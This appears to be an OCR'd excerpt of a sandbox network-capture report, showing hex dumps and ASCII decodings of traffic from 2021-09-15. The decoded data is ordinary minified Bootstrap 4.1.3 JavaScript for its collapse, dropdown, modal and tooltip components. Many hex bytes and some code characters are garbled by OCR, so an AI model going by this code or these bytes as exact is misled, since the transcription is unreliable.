6e 74 3d 65 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 3d 74 68 69 73 2e 5f 67 65 74 43 6f 6e 66 69 67 28 74 29 2¢ 74 68 69
732e 5f 7472 69 67 67 65724172 72 61 79 3d 73 74 2e 6d 61 6b 65 41 72 72 61 79 28 64 6f 63 75 6d 65 6e 74 2e 71
75 6572 79 53 65 6¢ 65 63 74 6f 72 41 6¢ 6C 28 27 5b 64 61 74 61 2d 74 6f 67 67 6C 65 3d 22 63 6f 6C 6C 61 70 73 65 22
5d 5b 68 72 65 66 3d 22 23 27 2b 65 2e 69 64 2b 27 22 5d 2c 5b 64 61 74 61 2d 74 6f 67 67 6¢ 65 3d 22 63 6f 6¢ 6¢C 61 70
73 6522 5d 5b 64 61 74 61 2d 74 61 72 67 65 74 3d 22 23 27
Data Ascii: llapse"]', Tt=function(){function a(e,t){this._isTransitioning=!1,this._element=e,this._config=this._getConfi
g(t),this._triggerArray=st.makeArray(document.querySelectorAll(‘[data-toggle="collapse"][href="#'+e.id+"],[data-toggle=
"collapse"][data-target="#"

2021-09-15 14:28:03 UTC 267 IN Data Raw: 61 64 64 43 6¢ 61 73 73 28 6d 74 29 2c 74 68 69 73 2e 5f 65 6¢ 65 6d 65 6e 74 2e 73 74 79 6¢ 65 5b 72 5d 3d
30 2c 74 68 69 73 2e 5f 74 72 69 67 67 65 72 41 72 72 61 79 2e 6¢ 65 6e 67 74 68 26 26 73 74 28 74 68 69 73 2e 5f 74
726967 67 65 724172 72 61 79 29 2e 72 65 6d 6f 76 65 43 6¢ 61 73 73 28 70 74 29 2e 61 74 74 72 28 22 61 72 69 61
2d 65 78 70 61 6e 64 65 64 22 2¢ 21 30 29 2c 74 68 69 73 2e 73 65 74 54 72 61 6e 73 69 74 69 6f 6e 69 6e 67 28 21 30 2
9 3b 76 61 72 20 6f 3d 22 73 63 72 6f 6¢ 6¢ 22 2b 28 72 5b 30 5d 2e 74 6f 55 70 70 65 72 43 61 73 6528 29 2b 72 2e 73 6
€ 69 63 65 28 31 29 29 2c 73 3d 46 6e 2e 67 65 74 54 72 61 6e 73 69 74 69 6f 6e 44 75 72 61 74 69 6f 6e 46 72 6f 6d 45
6¢ 65 6d 65 6e 74 28 74 68 69 73 2e 5f 65 6¢ 65 6d 65 6e 74 29 3b
Data Ascii: addClass(mt),this._element.style[r]=0,this._triggerArray.length&&st(this._triggerArray).removeClass(pt).attr
("aria-expanded",!0),this.setTransitioning(!0);var o="scroll"+(r[0].toUpperCase()+r.slice(1)),s=Fn.getTransitionDuration
FromElement(this._element);
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Timestamp transferred Direction Data

2021-09-15 14:28:03 UTC 268 IN Data Raw: 6f 6e 45 6e 64 28 61 29 7d 7d 7d 2c 74 2e 73 65 74 54 72 61 6e 73 69 74 69 6f 6e 69 6e 67 3d 66 75 6e 63 74
69 6f 6e 28 74 29 7b 74 68 69 73 2e 5f 69 73 54 72 61 6e 73 69 74 69 6f 6e 69 6e 67 3d 74 7d 2c 74 2e 64 69 73 70 6f 73
65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 73 74 2e 72 65 6d 6f 76 65 44 61 74 61 28 74 68 69 73 2e 5f 65 6¢ 65 6d 65 6e 74
2c 6¢ 74 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 3d 6e 75 6¢ 6¢ 2¢ 74 68 69 73 2e 5f 70 61 72 65 6e 74 3d 6e 75 6¢ 6¢
2c 74 68 69 73 2e 5f 65 6¢ 65 6d 65 6e 74 3d 6e 75 6¢ 6¢ 2¢ 74 68 69 73 2e 5f 74 72 69 67 67 65 72 41 72 72 61 79 3d 6e
75 6¢ 6C 2¢ 74 68 69 73 2e 5f 69 73 54 72 61 6e 73 69 74 69 6f 6e 69 6e 67 3d 6e 75 6¢ 6¢ 7d 2¢ 74 2e 5f 67 65 74 43 6f
6e 66 69 67 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65
Data Ascii: onEnd(a)}}},t.setTransitioning=function(t){this._isTransitioning=t},t.dispose=function(){st.removeData(this.
_element,lt),this._config=null,this._parent=null,this._element=null,this._triggerArray=null,this._isTransitioning=null},
t._getConfig=function(t){re

2021-09-15 14:28:03 UTC 269 IN Data Raw: 6d 65 74 68 6f 64 20 6e 61 6d 65 64 20 22 27 2b 69 2b 27 22 27 29 3b 65 5b 69 5d 28 29 7d 7d 29 7d 2c 73 28
61 2c 6e 75 6¢ 6¢ 2¢ 5b 7b 6b 65 79 3a 22 56 45 52 53 49 4f 4e 22 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7h 72 65
747572 6e 22 34 2e 31 2e 3322 7d 7d 2c 7b 6b 65 79 3a 22 44 65 66 61 75 6¢ 74 22 2¢ 67 65 74 3a 66 75 6e 63 74 69
6f 6e 28 29 7b 72 65 74 75 72 6e 20 75 74 7d 7d 5d 29 2c 61 7d 28 29 2c 73 74 28 64 6f 63 75 6d 65 6e 74 29 2e 6f 6e 28
64 74 2e 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 2¢ 43 74 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 22 41 22 3d 3d 3d 74
2e 637572 72 65 6e 74 54 61 72 67 65 74 2e 74 61 67 4e 61 6d 65 26 26 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6¢
742829 3b 76 61 72 20 6e 3d 73 74 28 74 68 69 73 29 2c 65 3d
Data Ascii: method named "'+i+");e[i]()}})},s(a,null,[{key:"VERSION",get:function(){return"4.1.3"}} {key:"Default",get
:function(){return ut}}]),a}(),st(document).on(dt.CLICK_DATA_API,Ct,function(t){"A"===t.currentTarget.tagName&&t.prevent
Default();var n=st(this),e=

2021-09-15 14:28:03 UTC 271 IN Data Raw: 2c 72 65 66 65 72 65 6e 63 65 3a 22 28 73 74 72 69 6e 67 7c 65 6¢ 65 6d 65 6e 74 29 22 2c 64 69 73 70 6¢ 61
793a22 73747269 6e 67 22 7d 2c 47 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 74 2c 65
29 7b 74 68 69 73 2e 5f 65 6¢ 65 6d 65 6e 74 3d 74 2c 74 68 69 73 2e 5f 70 6f 70 70 65 72 3d 6e 75 6¢ 6¢ 2c 74 68 69 73
2e 5f 63 6f 6e 66 69 67 3d 74 68 69 73 2e 5f 67 65 74 43 6f 6e 66 69 67 28 65 29 2c 74 68 69 73 2e 5f 6d 65 6e 75 3d 74
68 69 73 2e 5f 67 65 74 4d 65 6e 75 45 6¢ 65 6d 65 6e 74 28 29 2c 74 68 69 73 2e 5f 69 6e 4e 61 76 62 61 72 3d 74 68
69 73 2e 5f 64 65 74 65 63 74 4e 61 76 62 61 72 28 29 2c 74 68 69 73 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65
72732829 7d 76 6172 20 74 3d 63 2e 70 72 6f 74 6f 74 79
Data Ascii: ,reference:"(string|element)”,display:"string"},Gt=function(){function c(t,e){this._element=t,this._popper=n
ull,this._config=this._getConfig(e),this._menu=this._getMenuElement(),this._inNavbar=this._detectNavbar(),this
._addEventListeners()}var t=c.prototy

2021-09-15 14:28:03 UTC 272 IN Data Raw: 6¢ 65 6d 65 6e 74 3d 6e 75 6¢ 6¢ 2c 28 74 68 69 73 2e 5f 6d 65 6e 75 3d 6e 75 6¢ 6¢ 29 21 3d 3d 74 68 69 73
2e 5f 70 6f 70 70 65 72 26 26 28 74 68 69 73 2e 5f 70 6f 70 70 65 72 2e 64 65 73 74 72 6f 79 28 29 2c 74 68 69 73 2e 5f
70 6f 70 70 65 72 3d 6e 75 6¢ 6¢ 29 7d 2c 74 2e 75 70 64 61 74 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f
69 6e 4e 61 76 62 61 72 3d 74 68 69 73 2e 5f 64 65 74 65 63 74 4e 61 76 62 61 72 28 29 2c 6e 75 6¢ 6¢ 21 3d 3d 74 68
69 73 2e 5f 70 6f 70 70 65 72 26 26 74 68 69 73 2e 5f 70 6f 70 70 65 72 2e 73 63 68 65 64 75 6¢ 65 55 70 64 61 74 65 28
29 7d 2c 74 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65
3d 74 68 69 73 3b 62 74 28 74 68 69 73 2e 5f 65 6¢ 65 6d 65
Data Ascii: lement=null,(this._menu=null)!==this._popper&&(this._popper.destroy(),this._popper=null)} t.update=function()
{this._inNavbar=this._detectNavbar(),null!==this._popper&&this._popper.scheduleUpdate()},t._addEventListeners=function(
){var e=this;bt(this._eleme

2021-09-15 14:28:03 UTC 273 IN Data Raw: 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74
69 6f 6e 28 29 7b 76 61 72 20 74 3d 62 74 28 74 68 69 73 29 2e 64 61 74 61 28 49 74 29 3b 69 66 28 74 7c 7c 28 74 3d
6e 65 77 20 63 28 74 68 69 73 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 3f 65 3a 6e 75 6¢ 6¢ 29 2¢ 62 74
287468 69 73 29 2e 64 61 74 61 28 49 74 2c 74 29 29 2c 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 65 29 7b
69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 74 5b 65 5d 29 74 68 72 6f 77 20 6e 65 77 20 54 7
970 65 45 72 72 6f 72 28 27 4e 6f 20 6d 65 74 68 6f 64 20 6e 61 6d 65 64 20 22 27 2b 65 2b 27 22 27 29 3b 74 5b 65 5d
2829 7d 7d 29 7d 2c 63 2e 5f 63 6¢ 65 61 72 4d 65 6e 75 73 3d 66
Data Ascii: e=function(e){return this.each(function(){var t=bt(this).data(It);if(t||(t=new c(this,"object"==typeof e?e:null),bt(th
is).data(lt,t)),"string"==typeof e){if("undefined"==typeof t[e])throw new TypeError('No method named "“+e+"");t[e]()}})
},c._clearMenus=f

2021-09-15 14:28:03 UTC 275 IN Data Raw: 61 73 73 28 6b 74 29 29 29 7b 76 61 72 20 65 3d 63 2e 5f 67 65 74 50 61 72 65 6e 74 46 72 6f 6d 45 6¢ 65 6d
65 6e 74 28 74 68 69 73 29 2c 6e 3d 62 74 28 65 29 2e 68 61 73 43 6¢ 61 73 73 28 50 74 29 3b 69 66 28 28 6e 7c 7c 32
37 3d 3d 3d 74 2e 77 68 69 63 68 26 26 33 32 3d 3d 3d 74 2e 77 68 69 63 68 29 26 26 28 21 6e 7c 7c 32 37 21 3d 3d 74
2e 77 68 69 63 68 26 26 33 32 21 3d 3d 74 2e 77 68 69 63 68 29 29 7b 76 61 72 20 69 3d 5b 5d 2e 73 6¢ 69 63 65 2e 63
61 6¢ 6¢ 28 65 2e 71 75 65 72 79 53 65 6¢ 65 63 74 6 72 41 6¢ 6¢C 28 4b 74 29 29 3b 69 66 28 30 21 3d 3d 69 2e 6¢ 65
6e 67 74 68 29 7b 76 61 72 20 72 3d 69 2e 69 6e 64 65 78 4f 66 28 74 2e 74 61 72 67 65 74 29 3b 33 38 3d 3d 3d 74 2e
77 68 69 63 68 26 26 30 3c 72 26 26 72 2d 2d 2c 34 30 3d 3d 3d 74 2e 77
Data Ascii: ass(kt))){var e=c._getParentFromElement(this),n=bt(e).hasClass(Pt);if((n||27===t.which&&32===t.which)&&('n||
27'==t.which&&32!==t.which)){var i=[].slice.call(e.querySelectorAll(Kt));if(0!==i.length){var r=i.indexOf{(t.target);38==
=t.which&&0<r&&r--,40===t.w

2021-09-15 14:28:03 UTC 276 IN Data Raw: 65 2c 4b 45 59 44 4f 57 4e 5f 44 49 53 4d 49 53 53 3a 22 6b 65 79 64 6f 77 6e 2e 64 69 73 6d 69 73 73 22 2b
65 65 2c 4d 4f 55 53 45 55 50 5f 44 49 53 4d 49 53 53 3a 22 6d 6f 75 73 65 75 70 2e 64 69 73 6d 69 73 73 22 2b 65 65 2¢
4d 4f 55 53 45 44 4f 57 4e 5f 44 49 53 4d 49 53 53 3a 22 6d 6f 75 73 65 64 6f 77 6e 2e 64 69 73 6d 69 73 73 22 2b 65 65
2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6¢ 69 63 6b 22 2b 65 65 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2¢
73 65 3d 22 6d 6f 64 61 6¢ 2d 73 63 72 6f 6¢ 6¢ 62 61 72 2d 6d 65 61 73 75 72 65 22 2¢ 61 65 3d 22 6d 6f 64 61 6C 2d 62
61 63 6b 64 72 6f 70 22 2c 6¢ 65 3d 22 6d 6f 64 61 6¢ 2d 6f 70 65 6 22 2¢ 63 65 3d 22 66 61 64 65 22 2¢ 68 65 3d 22 73
68 6f 77 22 2¢ 75 65 3d 22 2e 6d 6f 64 61 6¢ 2d 64 69 61
Data Ascii: e, KEYDOWN_DISMISS:"keydown.dismiss"+ee, MOUSEUP_DISMISS:"mouseup.dismiss"+ee,MO
USEDOWN_DISMISS:"mousedown.dismiss"+ee,CLICK_DATA_API:"click"+ee+".data-api"},se="modal-scrollbar-me
asure",ae="modal-backdrop",le="modal-open",ce="fade",he="show",ue=".modal-dia

2021-09-15 14:28:03 UTC 277 IN Data Raw: 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65 2e 5f 73 68 6f 77 45 6¢ 65 6d 65 6e 74 28 74 29 7d 29 29 7d 7d 2c 74
2e 68 69 64 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 69 66 28 74 26 26 74 2e 70 72
65 76 65 6e 74 44 65 66 61 75 6¢ 74 28 29 2¢ 21 74 68 69 73 2e 5f 69 73 54 72 61 6e 73 69 74 69 6f 6e 69 6e 67 26 26 74
68 69 73 2e 5f 69 73 53 68 6f 77 6e 29 7b 76 61 72 20 6e 3d 24 74 2e 45 76 65 6e 74 28 6f 65 2e 48 49 44 45 29 3b 69 66
28 2474 28 74 68 69 73 2e 5f 65 6¢ 65 6d 65 6e 74 29 2e 74 72 69 67 67 65 72 28 6e 29 2c 74 68 69 73 2e 5f 69 73 53 68
6f 77 6e 26 26 21 6e 2e 69 73 44 65 66 61 75 6¢ 74 50 72 65 76 65 6e 74 65 64 28 29 29 7b 74 68 69 73 2e 5f 69 73 53
68 6f 77 6e 3d 21 31 3b 76 61 72 20 69 3d 24 74 28 74 68 69 73
Data Ascii: on(){return e._showElement(t)}))}},t.hide=function(t){var e=this;if(t&&t.preventDefault(),!this._isTransitio
ning&&this._isShown){var n=$t.Event(oe.HIDE);if($t(this._element).trigger(n),this._isShown&&!n.isDefaultPrevented()){thi
s._isShown=!1;var i=$t(this
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2021-09-15 14:28:03 UTC 279 IN Data Raw: 61 2d 68 69 64 64 65 6e 22 29 2c 74 68 69 73 2e 5f 65 6¢ 65 6d 65 6e 74 2e 73 63 72 6f 6¢ 6¢ 54 6f 70 3d 30
2c 6e 26 26 46 6e 2e 72 65 66 6¢ 6f 77 28 74 68 69 73 2e 5f 65 6¢ 65 6d 65 6e 74 29 2c 24 74 28 74 68 69 73 2e 5f 65 6¢
65 6d 65 6e 74 29 2e 61 64 64 43 6¢ 61 73 73 28 68 65 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 66 6f 63 75 73 26 26
74 68 69 73 2e 5f 65 6e 66 6f 72 63 65 46 6f 63 75 73 28 29 3b 76 61 72 20 69 3d 24 74 2e 45 76 65 6e 74 28 6f 65 2e 53
48 4f 57 4e 2c 7Tb 72 65 6¢ 61 74 65 64 54 61 72 67 65 74 3a 74 7d 29 2¢ 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 65 2e 5f
63 6f 6e 66 69 67 2e 66 6f 63 75 73 26 26 65 2e 5f 65 6¢ 65 6d 65 6e 74 2e 66 6f 63 75 73 28 29 2c 65 2e 5f 69 73 54 72
61 6e 73 69 74 69 6f 6e 69 6e 67 3d 21 31 2c 24 74 28 65
Data Ascii: a-hidden"),this._element.scrollTop=0,n&&Fn.reflow(this._element),$t(this._element).addClass(he),this._config
.focus&&this._enforceFocus();var i=$t.Event(oe. SHOWN,{relatedTarget:t}),r=function(){e._config.focus&&e._eleme
nt.focus(),e._isTransitioning=!1,$t(e

2021-09-15 14:28:03 UTC 280 IN Data Raw: 6¢ 29 7d 2c 74 2e 5f 73 68 6f 77 42 61 63 6b 64 72 6f 70 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20
65 3d 74 68 69 73 2c 6e 3d 24 74 28 74 68 69 73 2e 5f 65 6¢ 65 6d 65 6e 74 29 2e 68 61 73 43 6¢ 61 73 73 28 63 65 29 3f
63 65 3a 22 22 3b 69 66 28 74 68 69 73 2e 5f 69 73 53 68 6f 77 6e 26 26 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 62 61 63
6b 64 72 6f 70 29 7b 69 66 28 74 68 69 73 2e 5f 62 61 63 6b 64 72 6f 70 3d 64 6f 63 75 6d 65 6€ 74 2e 63 72 65 61 74 65
45 6¢ 65 6d 65 6e 74 28 22 64 69 76 22 29 2c 74 68 69 73 2e 5f 62 61 63 6b 64 72 6f 70 2e 63 6¢ 61 73 73 4e 61 6d 65 3d
61 65 2c 6e 26 26 74 68 69 73 2e 5f 62 61 63 6b 64 72 6f 70 2e 63 6¢ 61 73 73 4c 69 73 74 2e 61 64 64 28 6e 29 2c 24 74
2874 68 69 73 2e 5f 62 61 63 6b 64 72 6f 70 29 2e 61 70
Data Ascii: I)},t._showBackdrop=function(t){var e=this,n=$t(this._element).hasClass(ce)?ce:"";if(this._isShown&&this._co
nfig.backdrop){if(this._backdrop=document.createElement("div"),this._backdrop.className=ae,n&&this._backdrop.c
lassList.add(n),$t(this._backdrop).ap

2021-09-15 14:28:03 UTC 281 IN Data Raw: 74 2e 5f 63 68 65 63 6b 53 63 72 6f 6¢ 6¢ 62 61 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 64
6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 67 65 74 42 6f 75 6e 64 69 6e 67 43 6¢ 69 65 6e 74 52 65 63 74 28 29 3b 74 68 69
73 2e 5f 69 73 42 6 64 79 4f 76 65 72 66 6¢ 6f 77 69 6e 67 3d 74 2e 6¢ 65 66 74 2b 74 2e 72 69 67 68 74 3¢ 77 69 6e 64
6f 77 2e 69 6e 6e 65 72 57 69 64 74 68 2c 74 68 69 73 2e 5f 73 63 72 6f 6¢ 6¢ 62 61 72 57 69 64 74 68 3d 74 68 69 73 2e
5f 67 65 74 53 63 72 6f 6¢ 6¢ 62 61 72 57 69 64 74 68 28 29 7d 2c 74 2e 5f 73 65 74 53 63 72 6f 6¢ 6¢ 62 61 72 3d 66 75
6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 3b 69 66 28 74 68 69 73 2e 5f 69 73 42 6f 64 79 4f 76 65 72 66
6c 6f 77 69 6e 67 29 7b 76 61 72 20 74 3d 5b 5d 2e 73 6¢
Data Ascii: t._checkScrollbar=function(){var t=document.body.getBoundingClientRect();this._isBodyOverflowing=t.left+t.ri
ght<window.innerWidth,this._scrollbarWidth=this._getScrollbarWidth()},t._setScrollbar=function(){var r=this;if(this._isB
odyOverflowing){var t=[].sl

2021-09-15 14:28:03 UTC 283 IN Data Raw: 65 2e 70 61 64 64 69 6e 67 52 69 67 68 74 3d 6e 7c 7c 22 22 7d 2c 74 2e 5f 67 65 74 53 63 72 6f 6¢ 6¢ 62 61
7257 69 64 74 68 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65
45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 74 2e 63 6¢ 61 73 73 4e 61 6d 65 3d 73 65 2c 64 6f 63 75 6d 65 6e 74 2e
62 6f 64 79 2e 61 70 70 65 6e 64 43 68 69 6¢ 64 28 74 29 3b 76 61 72 20 65 3d 74 2e 67 65 74 42 6f 75 6e 64 69 6e 67 43
6c 69 65 6e 74 52 65 63 74 28 29 2e 77 69 64 74 68 2d 74 2e 63 6¢ 69 65 6e 74 57 69 64 74 68 3b 72 65 74 75 72 6e 20
64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 72 65 6d 6f 76 65 43 68 69 6¢ 64 28 74 29 2c 65 7d 2c 72 2e 5f 6a 51 75 65 72
79 49 6e 74 65 72 66 61 63 65 3d 66 75 6e 63 74 69 6f 6e 28 6e 2¢
Data Ascii: e.paddingRight=n||""},t._getScrollbarWidth=function(){var t=document.createElement("div");t.className=se,doc
ument.body.appendChild(t);var e=t.getBoundingClientRect().width-t.clientWidth;return document.body.removeChild(t),e},r._
jQuerylInterface=function(n,

2021-09-15 14:28:03 UTC 284 IN Data Raw: 34 62 37 36 0d Oa 2c 22 67 22 29 2c 41 65 3d 7b 61 6e 69 6d 61 74 69 6f 6e 3a 21 30 2c 74 65 6d 70 6¢ 61 74
65 3a 27 3¢ 64 69 76 20 63 6¢ 61 73 73 3d 22 74 6f 6f 6¢ 74 69 70 22 20 72 6f 6¢ 65 3d 22 74 6f 6f 6¢ 74 69 70 22 3e 3¢
64 69 76 20 63 6¢ 61 73 73 3d 22 61 72 72 6f 77 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6¢ 61 73 73 3d 22 74 6f 6f 6C
74 69 70 2d 69 6e 6e 65 72 22 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 27 2c 74 72 69 67 67 65 72 3a 22 68 6f 76 65 72 20
66 6f 63 75 73 22 2c 74 69 74 6C 65 3a 22 22 2c 64 65 6¢ 61 79 3a 30 2c 68 74 6d 6¢ 3a 21 28 49 65 3d 7b 41 55 54 4f 3a
2261 75 74 6f 22 2c 54 4f 50 3a 22 74 6f 70 22 2¢ 52 49 47 48 54 3a 22 72 69 67 68 74 22 2c 42 4f 54 54 4f 4d 3a 22 62
6f 74 74 6f 6d 22 2c 4c 45 46 54 3a 22 6¢ 65 66 74 22 7d
Data Ascii: 4b76,"g"),Ae={animation:!0,template:'<div class="tooltip" role="tooltip"><div class="arrow"></div><div class
="tooltip-inner"></div></div>'trigger:"hover focus" title:"",delay:0,html:!(le={AUTO:"auto", TOP:"top",RIGHT:"right",BOT
TOM:"bottom",LEFT:"left"}

2021-09-15 14:28:03 UTC 285 IN Data Raw: 3d 21 30 7d 2c 74 2e 64 69 73 61 62 6¢ 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 69 73 45 6e
61 62 6¢ 65 64 3d 21 31 7d 2c 74 2e 74 6f 67 67 6¢ 65 45 6e 61 62 6¢ 65 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69
73 2e 5f 69 73 45 6e 61 62 6¢ 65 64 3d 21 74 68 69 73 2e 5f 69 73 45 6e 61 62 6¢ 65 64 7d 2c 74 2e 74 6f 67 67 6¢ 65 3d
66 75 6e 63 74 69 6f 6e 28 74 29 7h 69 66 28 74 68 69 73 2e 5f 69 73 45 6e 61 62 6¢ 65 64 29 69 66 28 74 29 7h 76 61
722065 3d 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2e 44 41 54 41 5f 4b 45 59 2c 6e 3d 70 65 28 74 2e 63 75 72
72 65 6e 74 54 61 72 67 65 74 29 2e 64 61 74 61 28 65 29 3b 6e 7c 7c 28 6e 3d 6e 65 77 20 74 68 69 73 2e 63 6f 6e 73
747275 63 74 6f 72 28 74 2e 63 75 72 72 65 6e 74 54 61 72 67
Data Ascii: =!0},t.disable=function(){this._isEnabled=!1},t.toggleEnabled=function(){this._isEnabled=!this._isEnabled},t
.toggle=function(t){if(this._isEnabled)if(t){var e=this.constructor.DATA_KEY,n=pe(t.currentTarget).data(e);n||(n=new thi
s.constructor(t.currentTarg

2021-09-15 14:28:03 UTC 287 IN Data Raw: 63 74 6f 72 2e 4e 41 4d 45 29 3b 69 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 2c 72 29 2c 74 68
69 73 2e 65 6¢ 65 6d 65 6 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 64 65 73 63 72 69 62 65 64
627922 2c 72 29 2c 74 68 69 73 2e 73 65 74 43 6f 6e 74 65 6e 74 28 29 2c 74 68 69 73 2e 63 6f 6e 66 69 67 2e 61 6e 69
6d 61 74 69 6f 6e 26 26 70 65 28 69 29 2e 61 64 64 43 6¢ 61 73 73 28 4f 65 29 3b 76 61 72 20 6f 3d 22 66 75 6€ 63 74 69
6f 6e 22 3d 3d 74 79 70 65 6f 66 20 74 68 69 73 2e 63 6f 6€ 66 69 67 2e 70 6¢ 61 63 65 6d 65 6e 74 3f 74 68 69 73 2e 63
6f 6e 66 69 67 2e 70 6¢ 61 63 65 6d 65 6e 74 2e 63 61 6¢ 6¢C 28 74 68 69 73 2¢ 69 2C 74 68 69 73 2e 65 6¢ 65 6d 65 62
74 29 3a 74 68 69 73 2e 63 6f 6e 66 69 67 2e 70 6¢ 61 63 65 6d
Data Ascii: ctor.NAME);i.setAttribute("id",r),this.element.setAttribute("aria-describedby",r),this.setContent(), this.con
fig.animation&&pe(i).addClass(Oe);var o="function"==typeof this.config.placement?this.config.placement.call(this,i,this.
element):this.config.placem

2021-09-15 14:28:03 UTC 288 IN Data Raw: 6e 73 69 74 69 6f 6e 45 6e 64 28 63 29 7d 65 6¢ 73 65 20 6¢ 28 29 7d 7d 2c 74 2e 68 69 64 65 3d 66 75 6e 63
74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 2c 6e 3d 74 68 69 73 2e 67 65 74 54 69 70 45 6¢ 65 6d 65 6e 74
2829 2c 69 3d 70 65 2e 45 76 65 6e 74 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2e 45 76 65 6e 74 2e 48 49
44 45 29 2¢ 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 65 2e 5f 68 6f 76 65 72 53 74 61 74 65 21 3d 3d 44 65 26 26 6e 2e 70
61 72 65 6e 74 4e 6f 64 65 26 26 6e 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6¢ 64 28 6e 29 2¢ 65
2e 5f 63 6¢ 65 61 6e 54 69 70 43 6¢ 61 73 73 28 29 2c 65 2e 65 6¢ 65 6d 65 6e 74 2e 72 65 6d 6f 76 65 41 74 74 72 69 62
7574 65 28 22 61 72 69 61 2d 64 65 73 63 72 69 62 65 64 62 79
Data Ascii: nsitionEnd(c)}else I()}},t.hide=function(t){var e=this,n=this.getTipElement(),i=pe.Event(this.constructor.Ev
ent.HIDE),r=function(){e._hoverState!==De&&n.parentNode&&n.parentNode.removeChild(n),e._cleanTipClass(),e.elem
ent.removeAttribute("aria-describedby
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kBytes
Timestamp transferred Direction Data

2021-09-15 14:28:03 UTC 289 IN Data Raw: 74 2e 74 65 78 74 28 70 65 28 65 29 2e 74 65 78 74 28 29 29 3a 74 5b 6e 3f 22 68 74 6d 6¢ 22 3a 22 74 65 78
7422 5d 28 65 29 7d 2c 74 2e 67 65 74 54 69 74 6¢ 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69
73 2e 65 6¢ 65 6d 65 6e 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 6f 72 69 67 69 6e 61 6¢ 2d 74
69 74 6¢ 65 22 29 3b 72 65 74 75 72 6e 20 74 7c 7c 28 74 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 74
68 69 73 2e 63 6f 6e 66 69 67 2e 74 69 74 6¢ 65 3f 74 68 69 73 2e 63 6f 6e 66 69 67 2e 74 69 74 6¢ 65 2e 63 61 6¢ 6C 28
74 68 69 73 2e 65 6¢ 65 6d 65 6e 74 29 3a 74 68 69 73 2e 63 6f 6e 66 69 67 2e 74 69 74 6¢ 65 29 2¢ 74 7d 2c 74 2e 5f 67
65 74 41 74 74 61 63 68 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e
Data Ascii: t.text(pe(e).text()):t[n?"html":"text"](e)},t.getTitle=function(){var t=this.element.getAttribute("data-original-title
");return t||(t="function"==typeof this.config.title?this.config.title.call(this.element):this.config.title),t},t._getAttachment=f
unction

2021-09-15 14:28:03 UTC 291 IN Data Raw: 67 28 29 29 2c 70 65 28 74 2e 63 75 72 72 65 6e 74 54 61 72 67 65 74 29 2e 64 61 74 61 28 6e 2c 65 29 29 2¢
7426 26 28 65 2e 5f 61 63 74 69 76 65 54 72 69 67 67 65 72 5b 22 66 6f 63 75 73 69 6e 22 3d 3d 3d 74 2e 74 79 70 65 3f
4c 65 3a 48 65 5d 3d 21 30 29 2c 70 65 28 65 2e 67 65 74 54 69 70 45 6¢ 65 6d 65 6e 74 28 29 29 2e 68 61 73 43 6¢ 61
73 7328 6b 65 29 7c 7c 65 2e 5f 68 6f 76 65 72 53 74 61 74 65 3d 3d 3d 44 65 3f 65 2e 5f 68 6f 76 65 72 53 74 61 74 65
3d 44 65 3a 28 63 6¢ 65 61 72 54 69 6d 65 6f 75 74 28 65 2e 5f 74 69 6d 65 6f 75 74 29 2c 65 2e 5f 68 6f 76 65 72 53 74
